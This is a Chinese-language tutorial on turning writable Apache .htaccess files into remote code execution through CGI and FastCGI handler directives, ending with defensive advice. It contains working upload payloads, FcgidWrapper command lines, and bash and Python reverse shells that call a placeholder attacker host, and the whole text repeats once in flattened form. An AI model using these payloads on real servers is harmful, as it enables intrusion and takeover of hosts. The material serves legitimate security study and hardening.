Apache中.htaccess文件利用的总结与新思路拓展
字数 1533 2025-08-18 11:39:08

Apache中.htaccess文件利用技术详解

一、Apache与PHP交互的三种方式

1. Module方式

  • 最常见的方式
  • 在httpd.conf中使用LoadModule加载PHP模块
  • 示例:LoadModule php7_module modules/libphp7.so

2. CGI方式

  • 传统CGI协议方式
  • Apache通过CGI接口调用PHP解释器
  • 每次请求都会启动新的PHP进程

3. FastCGI方式

  • CGI的改进版本
  • 使用持久化进程处理多个请求
  • 常与PHP-FPM配合使用
  • 性能优于传统CGI

二、CGI启动方式的RCE利用

利用条件

  1. .htaccess文件能被解析

    • 目录配置了AllowOverride allAllowOverride Options FileInfo
    • 需要Require all granted权限
  2. cgi_module被加载

    • Apache配置中包含:LoadModule cgi_module modules/mod_cgi.so且未被注释
  3. 有目录的上传和写入权限

利用方法

  1. 上传.htaccess文件,内容如下:

    Options ExecCGI
    AddHandler cgi-script .xx
    
    • Options ExecCGI:允许CGI执行
    • AddHandler cgi-script .xx:将.xx后缀文件作为CGI程序解析
  2. 上传恶意CGI程序(poc.xx),Windows示例:

    #!C:/Windows/System32/cmd.exe /c start calc.exe
    
    • 第一行指定解释器路径
    • 需要使用新进程启动命令(因为CGI程序处理完成后会被关闭)
  3. Linux环境下示例:

    #!/bin/bash
    /bin/bash -i >& /dev/tcp/attacker_ip/port 0>&1
    

    或使用Python反弹shell:

    #!/usr/bin/python
    import socket,subprocess,os
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("attacker_ip",port))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    p=subprocess.call(["/bin/sh","-i"])
    

三、FastCGI启动方式的RCE利用

利用条件

  1. .htaccess文件能被解析

    • AllowOverride allAllowOverride Options FileInfo
  2. mod_fcgid.so被加载

    • Apache配置中包含:LoadModule fcgid_module modules/mod_fcgid.so
  3. 有目录的上传和写入权限

利用方法

  1. 上传.htaccess文件,内容如下:

    Options +ExecCGI
    AddHandler fcgid-script .abc
    FcgidWrapper "C:/Windows/System32/cmd.exe /c start cmd.exe" .abc
    
    • AddHandler可替换为AddType
    • FcgidWrapper指定要执行的命令
  2. 上传任意内容的.abc文件

四、相对路径利用技巧

在FastCGI模式下可以使用相对路径:

  • 起始点通常与session.save_path变量值一致
  • PHPStudy中默认路径:\Extensions\tmp\tmp

示例

  1. 使.html文件使用PHP解析:

    AddHandler fcgid-script .html
    FcgidWrapper "../../php/php7.3.4nts/php-cgi.exe" .html
    
  2. 调用网站根目录的程序:

    AddHandler fcgid-script .xx
    FcgidWrapper "WWW/localhost/calc.exe" .xx
    

五、其他常规利用方式

1. 将特定文件作为PHP解析

Module模式下:

AddType application/x-httpd-php .jpg

或使用FilesMatch:

<FilesMatch "test.jpg">
    SetHandler application/x-httpd-php
</FilesMatch>

2. 将.htaccess本身作为PHP解析

  • 在.htaccess中写入PHP代码
  • 需要服务器配置允许

3. 使用auto_prepend_file/auto_append_file

在.htaccess中:

php_value auto_prepend_file "/path/to/header.php"
php_value auto_append_file "/path/to/footer.php"

或创建.user.ini文件(PHP 5.3.0+):

auto_prepend_file = 123.gif

六、防御建议

  1. 限制AllowOverride权限:

    • 生产环境建议设置为AllowOverride None
    • 必须使用时限制为最小必要权限
  2. 禁用不必要的模块:

    • 如无必要,禁用cgi_module和fcgid_module
  3. 严格的文件上传控制:

    • 限制上传文件类型
    • 禁止上传.htaccess和.user.ini文件
  4. 目录权限控制:

    • Web目录不应有写入权限
    • 如有必要,限制为特定目录
  5. 定期安全审计:

    • 检查服务器配置
    • 监控异常文件

通过以上技术手段,攻击者可以在满足条件的情况下利用.htaccess文件实现远程代码执行。管理员应充分了解这些攻击手法并采取相应防御措施。

Apache中.htaccess文件利用技术详解 一、Apache与PHP交互的三种方式 1. Module方式 最常见的方式 在httpd.conf中使用 LoadModule 加载PHP模块 示例: LoadModule php7_module modules/libphp7.so 2. CGI方式 传统CGI协议方式 Apache通过CGI接口调用PHP解释器 每次请求都会启动新的PHP进程 3. FastCGI方式 CGI的改进版本 使用持久化进程处理多个请求 常与PHP-FPM配合使用 性能优于传统CGI 二、CGI启动方式的RCE利用 利用条件 .htaccess文件能被解析 目录配置了 AllowOverride all 或 AllowOverride Options FileInfo 需要 Require all granted 权限 cgi_ module被加载 Apache配置中包含: LoadModule cgi_module modules/mod_cgi.so 且未被注释 有目录的上传和写入权限 利用方法 上传.htaccess文件,内容如下: Options ExecCGI :允许CGI执行 AddHandler cgi-script .xx :将.xx后缀文件作为CGI程序解析 上传恶意CGI程序(poc.xx),Windows示例: 第一行指定解释器路径 需要使用新进程启动命令(因为CGI程序处理完成后会被关闭) Linux环境下示例: 或使用Python反弹shell: 三、FastCGI启动方式的RCE利用 利用条件 .htaccess文件能被解析 AllowOverride all 或 AllowOverride Options FileInfo mod_ fcgid.so被加载 Apache配置中包含: LoadModule fcgid_module modules/mod_fcgid.so 有目录的上传和写入权限 利用方法 上传.htaccess文件,内容如下: AddHandler 可替换为 AddType FcgidWrapper 指定要执行的命令 上传任意内容的.abc文件 四、相对路径利用技巧 在FastCGI模式下可以使用相对路径: 起始点通常与 session.save_path 变量值一致 PHPStudy中默认路径: \Extensions\tmp\tmp 示例 使.html文件使用PHP解析: 调用网站根目录的程序: 五、其他常规利用方式 1. 将特定文件作为PHP解析 Module模式下: 或使用FilesMatch: 2. 将.htaccess本身作为PHP解析 在.htaccess中写入PHP代码 需要服务器配置允许 3. 使用auto_ prepend_ file/auto_ append_ file 在.htaccess中: 或创建.user.ini文件(PHP 5.3.0+): 六、防御建议 限制AllowOverride权限: 生产环境建议设置为 AllowOverride None 必须使用时限制为最小必要权限 禁用不必要的模块: 如无必要,禁用cgi_ module和fcgid_ module 严格的文件上传控制: 限制上传文件类型 禁止上传.htaccess和.user.ini文件 目录权限控制: Web目录不应有写入权限 如有必要,限制为特定目录 定期安全审计: 检查服务器配置 监控异常文件 通过以上技术手段,攻击者可以在满足条件的情况下利用.htaccess文件实现远程代码执行。管理员应充分了解这些攻击手法并采取相应防御措施。